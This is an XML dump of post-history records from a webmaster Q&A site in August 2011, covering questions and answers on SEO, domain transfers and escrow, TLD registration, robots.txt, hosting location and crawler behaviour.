  <row Id="42765" PostHistoryTypeId="2" PostId="17717" RevisionGUID="325f6bd2-b2bd-4172-8f9c-a0d0246503a4" CreationDate="2011-08-03T01:32:28.873" UserId="1253" Text="If the same content is found in more then one place it is duplicate content. If you must publish the content to both websites then block the blog from being crawled by Google or use canonical URLs with the main website being the primary URL. If the primary website is working as you would expect it to then there probably is no need to continue publishing to it. If possible redirect the old URLs to the new ones this was everyone, including Google, knows the new website is where this content will now permanently reside and to use it in the search results. It also transfers over your incoming links to the new site as well." />
  <row Id="42766" PostHistoryTypeId="2" PostId="17718" RevisionGUID="7dab7e06-5b36-4f8c-a14d-96e04427eef8" CreationDate="2011-08-03T02:18:34.933" UserId="9349" Text="I'd suggest that you use option #1 and set a cookie once they've been redirected. This will be effective in not just the current session of the user; but also future sessions." />
  <row Id="42767" PostHistoryTypeId="2" PostId="17719" RevisionGUID="e0eafcc5-56bf-475b-9c2d-1d7faca771f6" CreationDate="2011-08-03T02:20:46.367" UserId="9349" Text="**No** - you can get VPS solutions as well as Shared Hosting (as mentioned in other answers) for much cheaper than Amazon offers. The drawback is that you usually have to purchase these services on a month by month basis in comparison to amazons minute to minute rate." />
  <row Id="42768" PostHistoryTypeId="2" PostId="17720" RevisionGUID="eaa7468c-4547-48d1-ac85-d35e2774c713" CreationDate="2011-08-03T03:32:03.963" UserId="9355" Text="I want to transfer a domain that I am buying off somebody but I want to make sure i'm not getting scammed. Is there some kind of 3rd-party website that can help me with this kind of transfer so that I can safely buy the domain and move it over to me? " />
  <row Id="42769" PostHistoryTypeId="1" PostId="17720" RevisionGUID="eaa7468c-4547-48d1-ac85-d35e2774c713" CreationDate="2011-08-03T03:32:03.963" UserId="9355" Text="Transferring a Domain Safely" />
  <row Id="42770" PostHistoryTypeId="3" PostId="17720" RevisionGUID="eaa7468c-4547-48d1-ac85-d35e2774c713" CreationDate="2011-08-03T03:32:03.963" UserId="9355" Text="&lt;domains&gt;&lt;security&gt;&lt;transfer&gt;&lt;web-security&gt;&lt;purchase&gt;" />
  <row Id="42771" PostHistoryTypeId="25" PostId="17678" RevisionGUID="8de8c22b-a1ab-49ac-8b49-9b7959e544dc" CreationDate="2011-08-03T03:34:04.210" Comment="http://twitter.com/#!/StackWebmasters/status/98597470048751617" />
  <row Id="42772" PostHistoryTypeId="2" PostId="17721" RevisionGUID="6743b173-64f6-4588-a522-a517272da8c1" CreationDate="2011-08-03T03:36:52.283" UserId="1253" Text="Use an escrow service like [escrow.com][1]. &#xD;&#xA;&#xD;&#xA;&gt; **Ensuring Buyers get the Domain and Sellers get paid.**&#xD;&#xA;&gt; &#xD;&#xA;Whether you're&#xD;&#xA;&gt; buying or selling domain names online, Escrow.com is a name you can&#xD;&#xA;&gt; trust. Escrow.com is a government licensed and audited 3rd party that&#xD;&#xA;&gt; safely holds a Buyer's payment in a trust account until the entire&#xD;&#xA;&gt; transaction is complete. That way, Buyers can be confident the domain&#xD;&#xA;&gt; will be registered in their name and Sellers can be sure they'll be&#xD;&#xA;&gt; paid.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Escrow.com protects your money and your domain.**&#xD;&#xA;&#xD;&#xA;&gt; Since the Buyer pays&#xD;&#xA;&gt; Escrow.com and not the Seller, Escrow.com can withhold payment until&#xD;&#xA;&gt; it's satisfied the domain name has been transferred by the Seller. One&#xD;&#xA;&gt; of the ways Escrow.com does this is by checking the WHOIS database of&#xD;&#xA;&gt; the appropriate Registrar* to make certain it properly reflects the&#xD;&#xA;&gt; new Buyer's name as the domain name Registrant. Once this has been&#xD;&#xA;&gt; verified, Escrow.com releases payment to the Seller.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Buy and sell Domains without fear of fraud.**&#xD;&#xA;&#xD;&#xA;&gt; Anytime you pay in advance&#xD;&#xA;&gt; for something you've purchased on the Internet, you're taking a&#xD;&#xA;&gt; chance. People can forge their identities. They can misrepresent what&#xD;&#xA;&gt; they're selling. And even with the best of intentions, some people are&#xD;&#xA;&gt; just plain irresponsible.&#xD;&#xA;&gt; &#xD;&#xA;&gt; That's why it's important to turn to a trusted 3rd party like&#xD;&#xA;&gt; Escrow.com for transactions involving a high risk of fraud like domain&#xD;&#xA;&gt; name transfers. Relying on Escrow.com is like having an insurance&#xD;&#xA;&gt; policy that protects you against fraud, deception and&#xD;&#xA;&gt; irresponsibility.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Benefits for Buyers**&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Peace of mind, Security, and Convenience&#xD;&#xA;&gt;  - Assured Domain name transfer prior to paying Seller&#xD;&#xA;&gt;  - Ability to confirm domain ownership directly with the registrar&#xD;&#xA;&gt; before the seller is paid.&#xD;&#xA;&gt;  - Ability to pay by wire transfer and in some cases PayPal, check,&#xD;&#xA;&gt; money order, or credit card (Visa, MasterCard, American Express)&#xD;&#xA;&gt; Restrictions apply&#xD;&#xA;&gt;  - Ability to send credit card information to a financial institution,&#xD;&#xA;&gt; not a stranger&#xD;&#xA;&gt;  - Easy access to live customer support by phone or email  &#xD;&#xA;&gt; &#xD;&#xA;&gt; **Benefits for Sellers**&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Peace of mind, Security, and Convenience &#xD;&#xA;&gt;  - Payment verification prior to Domain name transfer &#xD;&#xA;&gt;  - Guaranteed payment once transfer specifications are met &#xD;&#xA;&gt;  - Protection against credit card fraud, insufficient funds or credit&#xD;&#xA;&gt; card chargebacks &#xD;&#xA;&gt;  - Ability to accept credit cards and PayPal if otherwise not able to.&#xD;&#xA;&gt; Restrictions apply &#xD;&#xA;&gt;  - Escrow fees that may be lower than merchant credit card processing&#xD;&#xA;&gt; fees &#xD;&#xA;&gt;  - Easy access to live customer support by phone or email&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.escrow.com/solutions/domain_name/index.asp" />
  <row Id="42773" PostHistoryTypeId="6" PostId="17720" RevisionGUID="930adb23-ad73-436f-91b7-7eeacd67c4e3" CreationDate="2011-08-03T03:41:22.017" UserId="1253" Comment="edited tags" Text="&lt;domains&gt;&lt;transfer&gt;&lt;purchase&gt;" />
  <row Id="42774" PostHistoryTypeId="2" PostId="17722" RevisionGUID="274391b3-6909-4534-a433-719dde2b8988" CreationDate="2011-08-03T04:11:26.153" UserId="9353" Text="Suddenly my blog stop appearing in Google search &amp; there is a huge dip in traffic, i went to webmaster tool &amp; applied for re consideration.&#xD;&#xA;i don't no the exact reason why it happened like that, i forgot to add Disclaimer would it cause problem?&#xD;&#xA;How to identify what makes google to remove my blog from search index?&#xD;&#xA;Does google reconsider my blog? are there any alternatives for it?" />
  <row Id="42775" PostHistoryTypeId="1" PostId="17722" RevisionGUID="274391b3-6909-4534-a433-719dde2b8988" CreationDate="2011-08-03T04:11:26.153" UserId="9353" Text="How to overcome Google penalties for blogger" />
  <row Id="42776" PostHistoryTypeId="3" PostId="17722" RevisionGUID="274391b3-6909-4534-a433-719dde2b8988" CreationDate="2011-08-03T04:11:26.153" UserId="9353" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;indexing&gt;&lt;blogger&gt;" />
  <row Id="42777" PostHistoryTypeId="2" PostId="17723" RevisionGUID="1c0ed322-3834-4c8f-ad7f-a7059b16d6d6" CreationDate="2011-08-03T04:29:27.127" UserId="4461" Text="Ok, semantics first: You *are* running **TWO** websites. Each domain is it's own site.&#xD;&#xA;&#xD;&#xA;Since Google's algorithm is complex, there's no single solution, but rather a set of recommendations that can assist - depending on your particular situation:&#xD;&#xA;&#xD;&#xA; - where your site(s) are hosted and what domains they are hosted on (answered)&#xD;&#xA; - http/meta heading declarations for language (not necessarily followed by Google)&#xD;&#xA; - browser/IP settings of the searcher&#xD;&#xA;&#xD;&#xA;Since you can't control the last one, the best you can hope for is to influence the others. I don't have the specifics of your domains to check, so this will be an &quot;all other things being equal&quot; answer. In fact, the best advice comes from Google themselves in this post: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;&#xD;&#xA;&gt; **Geotargeting factors**  &#xD;&#xA;Google generally uses the following elements to determine the geotargeting of a website (or a part of a website):  &#xD;&#xA;&gt;&#xD;&#xA; 1. Use of a ccTLD is generally a strong signal for users since it explicitly specifies a single country in an unmistakable way.  &#xD;&#xA;or  &#xD;&#xA;Webmaster Tools' manual geotargeting for gTLDs (this can be on a domain, subdomain or subdirectory level); more information on this can be found in our blog post and in the Help Center. With region tags from geotargeting being shown in search results, this method is also very clear to users. Please keep in mind that it generally does not make sense to set a geographic target if the same pages on your site target more than a single country (say, all German-speaking countries) — just write in that language and do not use the geotargeting setting (more on writing in other languages will follow soon!).  &#xD;&#xA;&gt;&#xD;&#xA; 2. Server location (through the IP address of the server) is frequently near your users. However, some websites use distributed content delivery networks (CDNs) or are hosted in a country with better webserver infrastructure, so we try not to rely on the server location alone.  &#xD;&#xA;&gt;&#xD;&#xA; 3. Other signals can give us hints. This could be from local addresses &amp; phone numbers on the pages, use of local language and currency, links from other local sites, and/or the use of Google's Local Business Center (where available).&#xD;&#xA;&gt;&#xD;&#xA;Note that we do not use locational meta tags (like &quot;geo.position&quot; or &quot;distribution&quot;) or HTML attributes for geotargeting. While these may be useful in other regards, we've found that they are generally not reliable enough to use for geotargeting. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="42778" PostHistoryTypeId="2" PostId="17724" RevisionGUID="e2e52cc3-c93d-4d64-8752-495a2d9cf326" CreationDate="2011-08-03T04:49:54.450" UserId="9244" Text="I live in the United States. Lets say I want to register a domain name using a domain extension from another country like say for example, Bangladesh (.com.bd).&#xD;&#xA;&#xD;&#xA;I know that some countries require a physical residence in that country in order to be able to use their domain name, but not all do.&#xD;&#xA;&#xD;&#xA;What I'm wondering, is there any type of risk of loosing your domain name in the future due to law changes if I registered a domain like this? I know it's kind of hard to answer since you don't know if some country would pass some crazy weird laws regarding domains in the future, but I figured I'd ask anyways. I wasn't sure if laws regarding domain name ownership change all the time in countries around the world very often or not...&#xD;&#xA;&#xD;&#xA;As long as I meet the current requirements for that country is there a good chance that everything would be fine? Or is there a big risk that I could loose it someday and isn't even worth registering?" />
  <row Id="42779" PostHistoryTypeId="1" PostId="17724" RevisionGUID="e2e52cc3-c93d-4d64-8752-495a2d9cf326" CreationDate="2011-08-03T04:49:54.450" UserId="9244" Text="Is there risk to registering a domain using extension from another country?" />
  <row Id="42780" PostHistoryTypeId="3" PostId="17724" RevisionGUID="e2e52cc3-c93d-4d64-8752-495a2d9cf326" CreationDate="2011-08-03T04:49:54.450" UserId="9244" Text="&lt;domains&gt;&lt;tld&gt;" />
  <row Id="42781" PostHistoryTypeId="2" PostId="17725" RevisionGUID="77bbb47c-741c-44dc-83e2-cd01308bd22c" CreationDate="2011-08-03T04:57:30.793" UserId="9244" Text="There are some domain registers out there that support certain TLD's that others do not. My question, is can you register a domain with a special TLD at one register and then transfer the domain name to another register that you could NOT have used to register the domain name because they didn't support that TLD?&#xD;&#xA;&#xD;&#xA;Like for example lets pretend that I want to register www.whatever.gr.com at HotRegister.com. Then lets say you don't like their domain name hosting service so you want to transfer it to GoDaddy. But on GoDaddy you can't register a .gr.com domain name to begin with.&#xD;&#xA;&#xD;&#xA;So are you able to transfer your .gr.com domain there or can they not support it? Or can any register support any TLD but only choose to allow certain ones to be registered through them?" />
  <row Id="42782" PostHistoryTypeId="1" PostId="17725" RevisionGUID="77bbb47c-741c-44dc-83e2-cd01308bd22c" CreationDate="2011-08-03T04:57:30.793" UserId="9244" Text="Can any domain register support any TLD if domain is transferred there?" />
  <row Id="42783" PostHistoryTypeId="3" PostId="17725" RevisionGUID="77bbb47c-741c-44dc-83e2-cd01308bd22c" CreationDate="2011-08-03T04:57:30.793" UserId="9244" Text="&lt;domain-registration&gt;&lt;tld&gt;" />
  <row Id="42784" PostHistoryTypeId="2" PostId="17726" RevisionGUID="f1547055-6111-4223-903f-19722eba62cd" CreationDate="2011-08-03T06:32:21.163" UserId="4311" Text="No, you can't. The registrar has to have a contract with the organisation that manages the TLD.&#xD;&#xA;&#xD;&#xA;Note also that gr.com is not a TLD; com is a TLD and someone has registered gr.com and is selling subdomains. But because it's not an official TLD, many of the safeguards that you get when registering a domain name do not exist." />
  <row Id="42785" PostHistoryTypeId="25" PostId="17725" RevisionGUID="ee8ac2b2-16c4-422a-9222-084569a790b4" CreationDate="2011-08-03T06:34:03.933" Comment="http://twitter.com/#!/StackWebmasters/status/98642769521815552" />
  <row Id="42786" PostHistoryTypeId="2" PostId="17727" RevisionGUID="4fb99165-35f2-4d5c-b5ff-9a606259ab60" CreationDate="2011-08-03T07:09:23.213" UserId="7198" Text="The main risk is that you become subject to the laws of the country the domain service is provided by. The Libyan domain 'vb.ly' registered by Ben Metcalfe and Violet Blue for a URL shortening service was [famously shut down][1], for example, because the content hosted on it was seen by Libyan authorities to contravene Sharia law.&#xD;&#xA;&#xD;&#xA;Beyond that, two other things to look out for, which also apply to any domain registration:&#xD;&#xA;&#xD;&#xA; 1. Make sure the domain registrar doesn't charge a 'transfer out fee' to move the domain to another registrar (read the terms and conditions).&#xD;&#xA; 2. Make sure you're offered a control panel to manage your whois information, edit domain records, and generate transfer keys without third-party intervention.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.guardian.co.uk/technology/2010/oct/08/bitly-libya" />
  <row Id="42787" PostHistoryTypeId="17" PostId="17728" RevisionGUID="5620d646-e96f-4650-a477-eee35bf03ef0" CreationDate="2011-08-03T07:27:53.313" UserId="-1" Comment="from http://stackoverflow.com/questions/6922905/what-is-a-no-text0-9-requests" Text="" />
  <row Id="42788" PostHistoryTypeId="2" PostId="17728" RevisionGUID="783e982b-7f04-4a05-ae87-6bc540ebf6ca" CreationDate="2011-08-03T07:15:37.457" UserId="9364" UserDisplayName="Stephan Grobler" Text="I have a bunch of requests coming through on my site which looks like the one below:&#xD;&#xA;&#xD;&#xA;http://mysite.com/page/no-text-1154169030774935240&#xD;&#xA;&#xD;&#xA;Is this hacking attempts or search engines?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="42789" PostHistoryTypeId="1" PostId="17728" RevisionGUID="783e982b-7f04-4a05-ae87-6bc540ebf6ca" CreationDate="2011-08-03T07:15:37.457" UserId="9364" UserDisplayName="Stephan Grobler" Text="what is a no-text[0-9] requests?" />
  <row Id="42790" PostHistoryTypeId="3" PostId="17728" RevisionGUID="783e982b-7f04-4a05-ae87-6bc540ebf6ca" CreationDate="2011-08-03T07:15:37.457" UserId="9364" UserDisplayName="Stephan Grobler" Text="&lt;php&gt;&lt;url&gt;&lt;httpd&gt;" />
  <row Id="42791" PostHistoryTypeId="2" PostId="17729" RevisionGUID="6696ee47-9f29-42bd-83b6-3cf024dbebdb" CreationDate="2011-08-03T07:28:42.933" UserId="9358" Text="I never listen something about font-size, but about strong and bold (&quot;Strong is treated the same as bold, italic is treated the same as emphasis&quot; . . . Matt Cutts July 2006).&#xD;&#xA;You may try to do something test and share results :)" />
  <row Id="42792" PostHistoryTypeId="2" PostId="17730" RevisionGUID="7aba7969-688a-40b0-96ad-24eb8b742097" CreationDate="2011-08-03T07:31:22.133" UserId="9356" Text="I have links on my site which lead to internal pages that depend on first bringing data from an external API. This only takes time the first time they are pushed. Links to pages which exists in the DB, load a lot faster. I'm specify for search engines to only crawl the internal pages. This is what I thought of:  &#xD;&#xA;1. Creating a site map with the internal links  &#xD;&#xA;2. Adding this to every page on my site `&lt;META NAME=&quot;ROBOTS&quot; CONTENT=&quot;NOFOLLOW&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;Will this succeed? Does the site map over-ride the nofollow?&#xD;&#xA;Would you suggest a different direction?&#xD;&#xA;&#xD;&#xA;Thanks " />
  <row Id="42793" PostHistoryTypeId="1" PostId="17730" RevisionGUID="7aba7969-688a-40b0-96ad-24eb8b742097" CreationDate="2011-08-03T07:31:22.133" UserId="9356" Text="Specifying crawlers to not crawl Links which are dependent on external API's" />
  <row Id="42794" PostHistoryTypeId="3" PostId="17730" RevisionGUID="7aba7969-688a-40b0-96ad-24eb8b742097" CreationDate="2011-08-03T07:31:22.133" UserId="9356" Text="&lt;php&gt;&lt;sitemap&gt;&lt;site-ranking&gt;&lt;nofollow&gt;&lt;google-crawlers&gt;" />
  <row Id="42795" PostHistoryTypeId="2" PostId="17731" RevisionGUID="f1264b2f-db41-46b9-b9e9-acdbd9c74932" CreationDate="2011-08-03T08:18:05.340" UserId="9359" Text="We are planning to set up a complete ERP and CRM system for a medium-sized global company, that might turn into a essential tool for all locations once deployed. For now these locations include USA, Germany, China and Indonesia, but the list is growing quickly. &#xD;&#xA;&#xD;&#xA;My question is, where it is best to physically locate the server to ensure the access times are optimal from all (future) locations? &#xD;&#xA;&#xD;&#xA;On my mind, I am dealing with multiple connected servers (a cloud?), where each of our users is served by the physically closest server. Being in a very competitive field we would also like to rule out, that any data is stored in mainland China...&#xD;&#xA;&#xD;&#xA;Thanks for any advice and pointers!" />
  <row Id="42796" PostHistoryTypeId="1" PostId="17731" RevisionGUID="f1264b2f-db41-46b9-b9e9-acdbd9c74932" CreationDate="2011-08-03T08:18:05.340" UserId="9359" Text="Hosting server application for global SME" />
  <row Id="42797" PostHistoryTypeId="3" PostId="17731" RevisionGUID="f1264b2f-db41-46b9-b9e9-acdbd9c74932" CreationDate="2011-08-03T08:18:05.340" UserId="9359" Text="&lt;web-hosting&gt;&lt;server&gt;&lt;webserver&gt;&lt;cloud-hosting&gt;" />
  <row Id="42798" PostHistoryTypeId="2" PostId="17732" RevisionGUID="d6a58c33-ecee-406f-a9eb-af1e3bbc6ec2" CreationDate="2011-08-03T09:11:49.527" UserId="8104" Text="I have a .net hosting account but they have provided a free asp.net enterprise manager, a software to manage MSSQL server. Is there any other Phpmyadmin like software. My server supports Php also." />
  <row Id="42799" PostHistoryTypeId="1" PostId="17732" RevisionGUID="d6a58c33-ecee-406f-a9eb-af1e3bbc6ec2" CreationDate="2011-08-03T09:11:49.527" UserId="8104" Text="MSSQL manager like phpmyadmin" />
  <row Id="42800" PostHistoryTypeId="3" PostId="17732" RevisionGUID="d6a58c33-ecee-406f-a9eb-af1e3bbc6ec2" CreationDate="2011-08-03T09:11:49.527" UserId="8104" Text="&lt;.net&gt;&lt;sql-server&gt;" />
  <row Id="42801" PostHistoryTypeId="25" PostId="17724" RevisionGUID="912472d8-7551-4a3b-8214-0dfdb8e3aa90" CreationDate="2011-08-03T09:34:03.653" Comment="http://twitter.com/#!/StackWebmasters/status/98688067933700096" />
  <row Id="42802" PostHistoryTypeId="2" PostId="17733" RevisionGUID="d1692a3e-721c-4149-ade8-1feb9122a6a2" CreationDate="2011-08-03T09:39:44.910" UserId="1643" Text="The first thing to say is that the crawlers don't know your file structure. They just ask for domain.com/robots.txt or sub.domain.com/robots.txt and get given the file that your server is configured to return.&#xD;&#xA;&#xD;&#xA;So to answer &#xD;&#xA;&#xD;&#xA;&gt; When crawlers look to crawl our primary domain, will they look to the&#xD;&#xA;&gt; original root directory for the robots.txt or will they reference the&#xD;&#xA;&gt; file contained in the new subdirectory where all the primary domain's&#xD;&#xA;&gt; site files are located?&#xD;&#xA;&#xD;&#xA;they'll look in the new subdirectory.&#xD;&#xA;&#xD;&#xA;So you don't need a robots.txt in your file system root as the crawlers don't have access to it.&#xD;&#xA;&#xD;&#xA;However to check I'm understanding your situation properly it would be useful to know the htaccess rule you use to redirect the primary domain." />
  <row Id="42803" PostHistoryTypeId="2" PostId="17734" RevisionGUID="0fa1cce5-370b-4d28-8537-2662cbfe3206" CreationDate="2011-08-03T09:50:58.147" UserId="9329" Text="For most applications, I don't really think it's that important. Unless you do some real time data intensive stuff, most people won't notice the ping delay.&#xD;&#xA;&#xD;&#xA;However if it's important to you, yes you can rent a server in each region you cover and use DNS to use the closest server.&#xD;&#xA;&#xD;&#xA;There are also companies that offer CDN (Content Delivery Network) services such as Akamai (http://www.akamai.com/), Amazon CloudFront (http://aws.amazon.com/cloudfront/), or the recently announce Google PageSpeed Service (http://code.google.com/speed/pss/)." />
  <row Id="42804" PostHistoryTypeId="2" PostId="17735" RevisionGUID="7297ffdc-f769-4e0b-bdb0-bca9f4471f1f" CreationDate="2011-08-03T10:00:01.353" UserId="9329" Text="From my experience, I think that if you care about your newsletters, you better leave it to the pros. &#xD;&#xA;&#xD;&#xA;Using a 3rd party hosted service will get you better deliverability, and lots of tools to make sure everything looks good.&#xD;&#xA;&#xD;&#xA;One of my favorite is MailChimp.com, which offers a free service if your list is small. (up to 2,000 subscribers. Send up to 12,000 emails per month)" />
  <row Id="42805" PostHistoryTypeId="5" PostId="17728" RevisionGUID="15fac38b-5320-4691-bc44-cd1a133f674f" CreationDate="2011-08-03T10:03:12.300" UserId="-1" Comment="improved the question" Text="I have a bunch of requests coming through on my site which looks like the one below:&#xD;&#xA;&#xD;&#xA;http://mysite.com/page/no-text-1154169030774935240&#xD;&#xA;&#xD;&#xA;Is this hacking attempts or search engines?&#xD;&#xA;&#xD;&#xA;EDIT: my question is regarding the request. The string at the end is used for an identifier which will load the appropriate page. Someone or something is passing the no-text-[0-9] string. I would like to know if it hacking attempts or search engines trying to index the site?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="42806" PostHistoryTypeId="24" PostId="17728" RevisionGUID="15fac38b-5320-4691-bc44-cd1a133f674f" CreationDate="2011-08-03T10:03:12.300" Comment="Proposed by 209.212.99.44|56772e06-0f5e-476b-beb4-dc68cd72ec7b approved by 1643 edit id of 474" />
  <row Id="42807" PostHistoryTypeId="5" PostId="17728" RevisionGUID="74906535-98bb-4f20-8844-53ee8615cb72" CreationDate="2011-08-03T10:52:42.880" UserId="233" Comment="removed clickable link and changed to example.com" Text="I have a bunch of requests coming through on my site which looks like the one below:&#xD;&#xA;&#xD;&#xA;`example.com/page/no-text-1154169030774935240`&#xD;&#xA;&#xD;&#xA;Is this hacking attempts or search engines?&#xD;&#xA;&#xD;&#xA;EDIT: my question is regarding the request. The string at the end is used for an identifier which will load the appropriate page. Someone or something is passing the no-text-[0-9] string. I would like to know if it hacking attempts or search engines trying to index the site?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="42808" PostHistoryTypeId="2" PostId="17736" RevisionGUID="b5c5062b-20a3-4bf8-956d-4904551df63a" CreationDate="2011-08-03T10:56:28.587" UserId="233" Text="It could be an attempt to find security flaws. Many sites with a URL like `example.com/section/page` will blindly put `page` into a SQL query to select a page. A scrape program might try random input to see if any PHP errors (for example) came up.&#xD;&#xA;&#xD;&#xA;Alternatively it could be polling to find the language used on the site, in order to try some common exploits for PHP, ASP etc." />
  <row Id="42809" PostHistoryTypeId="2" PostId="17737" RevisionGUID="99ce1f35-4c2e-43c0-8d2a-bf9007221b7a" CreationDate="2011-08-03T11:13:39.150" UserId="233" Text="Adding that meta tag will prevent search engines from crawling your entire site, so you should avoid that! Adding pages to the sitemap should allow them to be crawled and indexed (since you are not telling search engines to ignore the actual pages). But if you have no links to them on your own site (as search engines see it) then they will not rank well, or at all.&#xD;&#xA;&#xD;&#xA;One solution would be to use robots.txt and block the URLs that use the API, assuming they follow a standard format or it is easy to generate the list of things to block.&#xD;&#xA;&#xD;&#xA;However, the better solution would be to spider the site yourself and make sure all pages you link to are already generated and in your database. This way the pages will be fast for users (your main concern of course) and search engines as well." />
  <row Id="42810" PostHistoryTypeId="5" PostId="17710" RevisionGUID="cdd88303-e18f-40a3-8a86-7b7e00411652" CreationDate="2011-08-03T11:25:26.550" UserId="233" Comment="changed &quot;old&quot; to &quot;current&quot; for clarity" Text="Looks like by the hour is available.&#xD;&#xA;&#xD;&#xA;**Current version:**&#xD;&#xA;&#xD;&#xA;Under Visitors -&gt; Visitor Trending -&gt; Visits&#xD;&#xA;&#xD;&#xA;Click on the clock to the right of Graph by (under date range).&#xD;&#xA;&#xD;&#xA;**New version:** &#xD;&#xA;&#xD;&#xA;Visitors -&gt; Overview -&gt; Graph by (on right, under date) -&gt; Hour" />
  <row Id="42815" PostHistoryTypeId="6" PostId="17706" RevisionGUID="4763ec24-0339-4157-bb02-3fd6e6292b9d" CreationDate="2011-08-03T11:46:28.683" UserId="1253" Comment="modified tags" Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;mailing-list&gt;" />
  <row Id="42816" PostHistoryTypeId="4" PostId="17732" RevisionGUID="d5ffc014-5ac9-4758-b8bf-dd971a790888" CreationDate="2011-08-03T11:47:55.050" UserId="1253" Comment="modified tags" Text="MSSQL manager like phpMyAdmin" />
  <row Id="42817" PostHistoryTypeId="6" PostId="17732" RevisionGUID="d5ffc014-5ac9-4758-b8bf-dd971a790888" CreationDate="2011-08-03T11:47:55.050" UserId="1253" Comment="modified tags" Text="&lt;looking-for-a-script&gt;&lt;.net&gt;&lt;sql-server&gt;" />
  <row Id="42818" PostHistoryTypeId="5" PostId="17673" RevisionGUID="c5c476e5-f1dd-48f5-9ac2-7836e11a9daf" CreationDate="2011-08-03T11:59:26.520" UserId="4461" Comment="Changed example URLs to match RFC2606 - http://tools.ietf.org/html/rfc2606 - and fixed txt-spk" Text="I run a website with two languages (English and Norwegian).&#xD;&#xA;There is one website, but two domains (www.example.com and www.example.no), if you visit example.com you get English language and if you visit example.no you get Norwegian language.&#xD;&#xA;&#xD;&#xA;This works like it should on the website, but my problem is with the Google search results. If I Google my domain name I get search results only in English, even though my Google settings are set to Norwegian.&#xD;&#xA;&#xD;&#xA;I want the Google search to present my site in Norwegian if i'm using a browser with Norwegian settings, and Norwegian Google search. And I want Google to present my site in English if a user has other language preferences than Norwegian.&#xD;&#xA;&#xD;&#xA;How can this be accomplished?" />
  <row Id="42819" PostHistoryTypeId="4" PostId="17673" RevisionGUID="c5c476e5-f1dd-48f5-9ac2-7836e11a9daf" CreationDate="2011-08-03T11:59:26.520" UserId="4461" Comment="Changed example URLs to match RFC2606 - http://tools.ietf.org/html/rfc2606 - and fixed txt-spk" Text="Google search results from multi-language site(s)" />
  <row Id="42820" PostHistoryTypeId="24" PostId="17673" RevisionGUID="c5c476e5-f1dd-48f5-9ac2-7836e11a9daf" CreationDate="2011-08-03T11:59:26.520" Comment="Proposed by 4461 approved by 1253 edit id of 473" />
  <row Id="42824" PostHistoryTypeId="2" PostId="17740" RevisionGUID="9c1fc643-823b-4fae-a465-e728c485e711" CreationDate="2011-08-03T12:19:04.743" UserId="9365" Text="Could you please tell me that what is the max length for Meta Keywords?" />
  <row Id="42825" PostHistoryTypeId="1" PostId="17740" RevisionGUID="9c1fc643-823b-4fae-a465-e728c485e711" CreationDate="2011-08-03T12:19:04.743" UserId="9365" Text="SEO - meta kewords max length?" />
  <row Id="42826" PostHistoryTypeId="3" PostId="17740" RevisionGUID="9c1fc643-823b-4fae-a465-e728c485e711" CreationDate="2011-08-03T12:19:04.743" UserId="9365" Text="&lt;seo&gt;&lt;meta-keywords&gt;" />
  <row Id="42827" PostHistoryTypeId="25" PostId="17720" RevisionGUID="ef2ecf8b-4aa8-483b-a154-b9b60411ea30" CreationDate="2011-08-03T12:34:03.743" Comment="http://twitter.com/#!/StackWebmasters/status/98733366853120000" />
  <row Id="42828" PostHistoryTypeId="6" PostId="13708" RevisionGUID="e4e4bc99-8733-48c9-be88-072da34fec50" CreationDate="2011-08-03T12:59:33.520" UserId="8359" Comment="Added a tag" Text="&lt;performance&gt;&lt;statistics&gt;&lt;ping&gt;" />
  <row Id="42829" PostHistoryTypeId="24" PostId="13708" RevisionGUID="e4e4bc99-8733-48c9-be88-072da34fec50" CreationDate="2011-08-03T12:59:33.520" Comment="Proposed by 8359 approved by 108 edit id of 475" />
  <row Id="42830" PostHistoryTypeId="17" PostId="17741" RevisionGUID="fe72a5ce-9c60-4d4d-a728-84363888a608" CreationDate="2011-08-03T13:00:25.360" UserId="-1" Comment="from http://stackoverflow.com/questions/6924825/what-search-queries-give-my-site-highest-rank" Text="" />
  <row Id="42831" PostHistoryTypeId="2" PostId="17741" RevisionGUID="9acd55ad-754e-4981-9e16-85463060876c" CreationDate="2011-08-03T10:11:08.153" UserId="9370" UserDisplayName="Matt M." Text="This is just a curiosity to me. Is there a reasonable way to find out what queries put my site near the top of search results? I know it's not really a solvable problem, since there's an unlimited number of potential queries. And I could always search for a unique sentence copied from my site, and show up number one. But, for example, it would be neat if Google kept track of the top results for every query and let you search for your site against *that*. &#xD;&#xA;&#xD;&#xA;PS. I am aware of Google Analytics and Webmaster Tools - and I don't think they provide what I'm asking." />
  <row Id="42832" PostHistoryTypeId="1" PostId="17741" RevisionGUID="9acd55ad-754e-4981-9e16-85463060876c" CreationDate="2011-08-03T10:11:08.153" UserId="9370" UserDisplayName="Matt M." Text="What search queries give my site highest rank?" />
  <row Id="42833" PostHistoryTypeId="3" PostId="17741" RevisionGUID="9acd55ad-754e-4981-9e16-85463060876c" CreationDate="2011-08-03T10:11:08.153" UserId="9370" UserDisplayName="Matt M." Text="&lt;search&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="42834" PostHistoryTypeId="16" PostId="17031" RevisionGUID="ca72768e-a553-41c1-86a8-1465de1233c7" CreationDate="2011-08-03T13:00:40.180" UserId="108" />
  <row Id="42835" PostHistoryTypeId="16" PostId="17032" RevisionGUID="6323a5f4-09fa-47bb-b623-71a104a72918" CreationDate="2011-08-03T13:00:40.180" UserId="108" />
  <row Id="42837" PostHistoryTypeId="16" PostId="17044" RevisionGUID="0189b99f-1ddf-485f-a2fe-23caf59cd980" CreationDate="2011-08-03T13:00:40.180" UserId="108" />
